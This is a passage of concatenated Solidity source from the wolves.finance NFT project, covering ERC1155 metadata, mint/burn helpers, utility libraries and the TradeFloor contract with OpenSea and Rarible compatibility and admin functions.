* @notice Contract that handles metadata related methods.
* @dev Methods assume a deterministic generation of URI based on token IDs.
* Methods also assume that URI uses hex representation of token IDs.
*/
contract ERC1155Metadata is IERC1155Metadata, ERC165 {
// URI's default URI prefix
string private _baseMetadataURI;
// contract metadata URL
string private _contractMetadataURI;
// Hex numbers for creating hexadecimal tokenId
bytes16 private constant HEX_MAP = '0123456789ABCDEF';
// bytes4(keccak256('contractURI()')) == 0xe8a3d485
bytes4 private constant _INTERFACE_ID_CONTRACT_URI = 0xe8a3d485;
/***********************************|
| Metadata Public Function s |
|__________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* @return URI string
*/
function uri(uint256 _id)
public
view
virtual
override
returns (string memory)
{
return _uri(_baseMetadataURI, _id, 0);
}
/**
* @notice Opensea calls this fuction to get information about how to display storefront.
*
* @return full URI to the location of the contract metadata.
*/
function contractURI() public view returns (string memory) {
return _contractMetadataURI;
}
/***********************************|
| Metadata Internal Functions |
|__________________________________*/
/**
* @notice Will emit default URI log event for corresponding token _id
* @param _tokenIDs Array of IDs of tokens to log default URI
*/
function _logURIs(uint256[] memory _tokenIDs) internal {
for (uint256 i = 0; i < _tokenIDs.length; i++) {
emit URI(_uri(_baseMetadataURI, _tokenIDs[i], 0), _tokenIDs[i]);
}
}
/**
* @notice Will update the base URL of token's URI
* @param newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory newBaseMetadataURI) internal {
_baseMetadataURI = newBaseMetadataURI;
}
/**
* @notice Will update the contract metadata URI
* @param newContractMetadataURI New contract metadata URI
*/
function _setContractMetadataURI(string memory newContractMetadataURI)
internal
{
_contractMetadataURI = newContractMetadataURI;
}
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` or CONTRACT_URI
*/
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
override
returns (bool)
{
if (
_interfaceID == type(IERC1155Metadata).interfaceId ||
_interfaceID == _INTERFACE_ID_CONTRACT_URI
) {
return true;
}
return super.supportsInterface(_interfaceID);
}
/***********************************|
| Utility private Functions |
|__________________________________*/
/**
* @notice returns uri
* @param tokenId Unsigned integer to convert to string
*/
function _uri(
string memory base,
uint256 tokenId,
uint256 minLength
) internal view returns (string memory) {
if (bytes(base).length == 0) base = _baseMetadataURI;
// Calculate URI
uint256 temp = tokenId;
uint256 length = tokenId == 0 ? 2 : 0;
while (temp != 0) {
length += 2;
temp >>= 8;
}
if (length > minLength) minLength = length;
bytes memory buffer = new bytes(minLength);
for (uint256 i = minLength; i > minLength - length; --i) {
buffer[i - 1] = HEX_MAP[tokenId & 0xf];
tokenId >>= 4;
}
minLength -= length;
while (minLength > 0) buffer[--minLength] = '0';
return string(abi.encodePacked(base, buffer, '.json'));
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import './ERC1155.sol';
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions
*/
contract ERC1155MintBurn is ERC1155 {
using SafeMath for uint256;
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(
address _to,
uint256 _id,
uint256 _amount,
bytes memory _data
) internal {
_beforeTokenTransfer(msg.sender, address(0x0), _to, _id, _amount, _data);
// Add _amount
balances[_to][_id] = balances[_to][_id].add(_amount);
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Mint tokens for each ids in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) internal {
require(
_ids.length == _amounts.length,
'ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH'
);
_beforeBatchTokenTransfer(
msg.sender,
address(0x0),
_to,
_ids,
_amounts,
_data
);
// Number of mints to execute
uint256 nMint = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nMint; i++) {
// Update storage balance
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(
address(0x0),
_to,
_ids,
_amounts,
gasleft(),
_data
);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(
address _from,
uint256 _id,
uint256 _amount
) internal {
_beforeTokenTransfer(msg.sender, _from, address(0x0), _id, _amount, '');
//Substract _amount
balances[_from][_id] = balances[_from][_id].sub(_amount);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(
address _from,
uint256[] memory _ids,
uint256[] memory _amounts
) internal {
// Number of mints to execute
uint256 nBurn = _ids.length;
require(
nBurn == _amounts.length,
'ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH'
);
_beforeBatchTokenTransfer(
msg.sender,
_from,
address(0x0),
_ids,
_amounts,
''
);
// Executing all minting
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
// SPDX-License-Identifier: MIT AND Apache-2.0
pragma solidity 0.7.6;
/**
* Utility library of inline functions on addresses
*/
library Address {
// Default hash for EOA accounts returned by extcodehash
bytes32 internal constant ACCOUNT_HASH =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract.
* @param _address address of the account to check
* @return Whether the target address is a contract
*/
function isContract(address _address) internal view returns (bool) {
bytes32 codehash;
// Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address or if it has a non-zero code hash or account hash
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(_address)
}
return (codehash != 0x0 && codehash != ACCOUNT_HASH);
}
/**
* @dev Performs a Solidity function call using a low level `call`.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: No contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: No contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
abstract contract ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID`
*/
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
returns (bool)
{
return _interfaceID == this.supportsInterface.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, 'EnumerableSet: index out of bounds');
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath#mul: OVERFLOW');
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'SafeMath#div: DIVISION_BY_ZERO');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath#sub: UNDERFLOW');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath#add: OVERFLOW');
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, 'SafeMath#mod: DIVISION_BY_ZERO');
return a % b;
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '../../0xerc1155/interfaces/IERC20.sol';
import '../../0xerc1155/tokens/ERC1155/ERC1155Holder.sol';
import '../token/interfaces/IWOWSCryptofolio.sol';
import '../token/interfaces/IWOWSERC1155.sol';
import '../utils/AddressBook.sol';
import '../utils/interfaces/IAddressRegistry.sol';
import '../utils/TokenIds.sol';
import './interfaces/ICFolioItemCallback.sol';
import './WOWSMinterPauser.sol';
abstract contract OpenSeaProxyRegistry {
mapping(address => address) public proxies;
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-1155[ERC1155]
* Multi Token Standard, including the Metadata URI extension.
*
* This contract is an extension of the minter preset. It accepts the address
* of the contract minting the token via the ERC-1155 data parameter. When
* the token is transferred or burned, the minter is notified.
*
* Token ID allocation:
*
* - 32Bit Stock Cards
* - 32Bit Custom Cards
* - Remaining CFolio NFTs
*/
contract TradeFloor is WOWSMinterPauser, ERC1155Holder {
using TokenIds for uint256;
//////////////////////////////////////////////////////////////////////////////
// Roles
//////////////////////////////////////////////////////////////////////////////
// Only OPERATORS can approve when trading is restricted
bytes32 public constant OPERATOR_ROLE = 'OPERATOR_ROLE';
//////////////////////////////////////////////////////////////////////////////
// Constants
//////////////////////////////////////////////////////////////////////////////
// solhint-disable-next-line const-name-snakecase
string public constant name = 'Wolves of Wall Street - C-Folio NFTs';
// solhint-disable-next-line const-name-snakecase
string public constant symbol = 'WOWSCFNFT';
//////////////////////////////////////////////////////////////////////////////
// Modifier
//////////////////////////////////////////////////////////////////////////////
modifier onlyAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'Only admin');
_;
}
modifier notNull(address adr) {
require(adr != address(0), 'Null address');
_;
}
//////////////////////////////////////////////////////////////////////////////
// State
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Per token information, used to cap NFT's and to allow querying a list
* of NFT's owned by an address
*/
struct ListKey {
uint256 index;
}
// Per token information
struct TokenInfo {
bool minted; // Make sure we only mint 1
ListKey listKey; // Next tokenId in the owner linkedList
}
// slither-disable-next-line uninitialized-state
mapping(uint256 => TokenInfo) private _tokenInfos;
// Mapping owner -> first owned token
//
// Note that we work 1 based here because of initialization
// e.g. firstId == 1 links to tokenId 0;
struct Owned {
uint256 count;
ListKey listKey; // First tokenId in linked list
}
// slither-disable-next-line uninitialized-state
mapping(address => Owned) private _owned;
// Our SFT contract, needed to check for locked transfers
IWOWSERC1155 private immutable _sftHolder;
// Migration!! This is the old sft contract
IWOWSERC1155 private immutable _sftHolderOld;
// Restrict approvals to OPERATOR_ROLE members
bool private _tradingRestricted = false;
//////////////////////////////////////////////////////////////////////////////
// Events
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Emitted when the state of restriction has updated
*
* @param tradingRestricted True if trading has been restricted, false otherwise
*/
event RestrictionUpdated(bool tradingRestricted);
//////////////////////////////////////////////////////////////////////////////
// OpenSea compatibility
//////////////////////////////////////////////////////////////////////////////
// OpenSea per-account proxy registry. Used to whitelist Approvals and save
// GAS.
OpenSeaProxyRegistry private immutable _openSeaProxyRegistry;
address private immutable _deployer;
// OpenSea events
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
//////////////////////////////////////////////////////////////////////////////
// Rarible compatibility
//////////////////////////////////////////////////////////////////////////////
/*
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
*
* => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584;
uint256 private _fee;
address private _feeRecipient;
// Rarible events
// solhint-disable-next-line event-name-camelcase
event CreateERC1155_v1(address indexed creator, string name, string symbol);
event SecondarySaleFees(
uint256 tokenId,
address payable[] recipients,
uint256[] bps
);
//////////////////////////////////////////////////////////////////////////////
// Initialization
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Construct the contract
*
* @param addressRegistry Registry containing our system addresses
*
* Note: Pause operation in this context. Only calls from Proxy allowed.
*/
constructor(
IAddressRegistry addressRegistry,
OpenSeaProxyRegistry openSeaProxyRegistry,
IWOWSERC1155 sftHolderOld
) {
// Initialize {AccessControl}
_setupRole(
DEFAULT_ADMIN_ROLE,
_getAddressRegistryAddress(addressRegistry, AddressBook.ADMIN_ACCOUNT)
);
// Immutable, visible for all contexts
_sftHolder = IWOWSERC1155(
_getAddressRegistryAddress(addressRegistry, AddressBook.SFT_HOLDER_PROXY)
);
_sftHolderOld = sftHolderOld;
// Immutable, visible for all contexts
_openSeaProxyRegistry = openSeaProxyRegistry;
// Immutable, visible for all contexts
_deployer = _getAddressRegistryAddress(
addressRegistry,
AddressBook.DEPLOYER
);
// Pause this instance
_pause(true);
}
/**
* @dev One time contract initializer
*
* @param tokenUriPrefix The ERC-1155 metadata URI Prefix
* @param contractUri The contract metadata URI
*/
function initialize(
IAddressRegistry addressRegistry,
string memory tokenUriPrefix,
string memory contractUri
) public {
// Validate state
require(_feeRecipient == address(0), 'already initialized');
// Initialize {AccessControl}
address admin = _getAddressRegistryAddress(
addressRegistry,
AddressBook.ADMIN_ACCOUNT
);
_setupRole(DEFAULT_ADMIN_ROLE, admin);
// Initialize {ERC1155Metadata}
_setBaseMetadataURI(tokenUriPrefix);
_setContractMetadataURI(contractUri);
_feeRecipient = _getAddressRegistryAddress(
addressRegistry,
AddressBook.REWARD_HANDLER
);
_fee = 1000; // 10%
// This event initializes Rarible storefront
emit CreateERC1155_v1(_deployer, name, symbol);
// OpenSea enable storefront editing
emit OwnershipTransferred(address(0), _deployer);
}
//////////////////////////////////////////////////////////////////////////////
// Getters
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Return list of tokenIds owned by `account`
*/
function getTokenIds(address account)
external
view
returns (uint256[] memory)
{
Owned storage list = _owned[account];
uint256[] memory result = new uint256[](list.count);
ListKey storage key = list.listKey;
for (uint256 i = 0; i < list.count; ++i) {
result[i] = key.index;
key = _tokenInfos[key.index].listKey;
}
return result;
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {IERC1155} via {WOWSMinterPauser}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes calldata data
) public override notNull(from) notNull(to) {
// Call parent
super.safeTransferFrom(from, to, tokenId, amount, data);
uint256[] memory tokenIds = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
tokenIds[0] = tokenId;
amounts[0] = amount;
_onTransfer(from, to, tokenIds, amounts);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
bytes calldata data
) public override notNull(from) notNull(to) {
// Validate parameters
require(tokenIds.length == amounts.length, "Lengths don't match");
// Call parent
super.safeBatchTransferFrom(from, to, tokenIds, amounts, data);
_onTransfer(from, to, tokenIds, amounts);
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*
* Override setApprovalForAll to be able to restrict to known operators.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
// Validate access
require(
!_tradingRestricted || hasRole(OPERATOR_ROLE, operator),
'forbidden'
);
// Call ancestor
super.setApprovalForAll(operator, approved);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address account, address operator)
public
view
override
returns (bool)
{
if (!_tradingRestricted && address(_openSeaProxyRegistry) != address(0)) {
// Whitelist OpenSea proxy contract for easy trading.
OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(
_openSeaProxyRegistry
);
if (proxyRegistry.proxies(account) == operator) {
return true;
}
}
// Call ancestor
return super.isApprovedForAll(account, operator);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {IERC1155MetadataURI} via {WOWSMinterPauser}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* Revert for unminted SFT NFTs.
*/
function uri(uint256 tokenId) public view override returns (string memory) {
// Validate state
require(_tokenInfos[tokenId].minted, 'Not minted');
// Load state
return _uri('', tokenId, 0);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {WOWSMinterPauser}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ERC1155MintBurn-_burn}.
*/
function burn(
address account,
uint256 tokenId,
uint256 amount
) public override notNull(account) {
// Call ancestor
super.burn(account, tokenId, amount);
// Perform internal handling
uint256[] memory tokenIds = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
tokenIds[0] = tokenId;
amounts[0] = amount;
_onTransfer(account, address(0), tokenIds, amounts);
}
/**
* @dev See {ERC1155MintBurn-_batchBurn}.
*/
function burnBatch(
address account,
uint256[] calldata tokenIds,
uint256[] calldata amounts
) public virtual override notNull(account) {
// Validate parameters
require(tokenIds.length == amounts.length, "Lengths don't match");
// Call ancestor
super.burnBatch(account, tokenIds, amounts);
// Perform internal handling
_onTransfer(account, address(0), tokenIds, amounts);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {IERC1155TokenReceiver} via {ERC1155Holder}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {IERC1155TokenReceiver-onERC1155Received}
*/
function onERC1155Received(
address operator,
address from,
uint256 tokenId,
uint256 amount,
bytes calldata data
) public override returns (bytes4) {
// Handle tokens
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = tokenId;
uint256[] memory amounts = new uint256[](1);
amounts[0] = amount;
_onTokensReceived(from, tokenIds, amounts, data);
// Call ancestor
return super.onERC1155Received(operator, from, tokenId, amount, data);
}
/**
* @dev See {IERC1155TokenReceiver-onERC1155BatchReceived}
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] memory tokenIds,
uint256[] memory amounts,
bytes calldata data
) public override returns (bytes4) {
// Handle tokens
_onTokensReceived(from, tokenIds, amounts, data);
// Call ancestor
return
super.onERC1155BatchReceived(operator, from, tokenIds, amounts, data);
}
//////////////////////////////////////////////////////////////////////////////
// Administrative functions
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ERC1155Metadata-setBaseMetadataURI}.
*/
function setBaseMetadataURI(string memory baseMetadataURI)
external
onlyAdmin
{
// Set state
_setBaseMetadataURI(baseMetadataURI);
}
/**
* @dev Set contract metadata URI
*/
function setContractMetadataURI(string memory newContractUri)
public
onlyAdmin
{
_setContractMetadataURI(newContractUri);
}
/**
* @dev Register interfaces
*/
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
override(WOWSMinterPauser, ERC1155Holder)
returns (bool)
{
// Register rarible fee interface
if (_interfaceID == _INTERFACE_ID_FEES) {
return true;
}
return super.supportsInterface(_interfaceID);
}
/**
* @dev Withdraw tokenAddress ERC20token to destination
*
* A future improvement would be to swap the token into WOWS.
*
* @param tokenAddress the address of the token to transfer. Cannot be
* rewardToken.
*/
function collectGarbage(address tokenAddress) external onlyAdmin {
// Transfer token to msg.sender
uint256 amountToken = IERC20(tokenAddress).balanceOf(address(this));
if (amountToken > 0)
IERC20(tokenAddress).transfer(_msgSender(), amountToken);
}
/**
* @dev Restrict trading to OPERATOR_ROLE (see setApprovalForAll)
*/
function restrictTrading(bool restrict) external onlyAdmin {
// Update state
_tradingRestricted = restrict;
// Dispatch event
emit RestrictionUpdated(restrict);
}
/**
* @dev Self destruct implementation contract
*/
function destructContract(address payable newContract) external onlyAdmin {
// slither-disable-next-line suicidal
selfdestruct(newContract);
}
//////////////////////////////////////////////////////////////////////////////
// OpenSea compatibility
//////////////////////////////////////////////////////////////////////////////
function isOwner() external view returns (bool) {
return _msgSender() == owner();
}
function owner() public view returns (address) {
return _deployer;
}
//////////////////////////////////////////////////////////////////////////////
// Rarible fees and events
//////////////////////////////////////////////////////////////////////////////
function setFee(uint256 fee) external onlyAdmin {
// Update state
_fee = fee;
}
function setFeeRecipient(address feeRecipient) external onlyAdmin {
// Update state
_feeRecipient = feeRecipient;
}
function getFeeRecipients(uint256)
public
view
returns (address payable[] memory)
{
// Return value
address payable[] memory recipients = new address payable[](1);
// Load state
recipients[0] = payable(_feeRecipient);
return recipients;
}
function getFeeBps(uint256) public view returns (uint256[] memory) {
// Return value
uint256[] memory bps = new uint256[](1);
// Load state
bps[0] = _fee;
return bps;
}
function logURI(uint256 tokenId) external {
emit URI(uri(tokenId), tokenId);
}
//////////////////////////////////////////////////////////////////////////////
// Internal details
//////////////////////////////////////////////////////////////////////////////
function _onTransfer(
address from,
address to,
uint256[] memory tokenIds,
uint256[] memory amounts
) private {
// Count SFT tokenIds
uint256 length = tokenIds.length;
uint256 validLength = 0;
// Relink owner
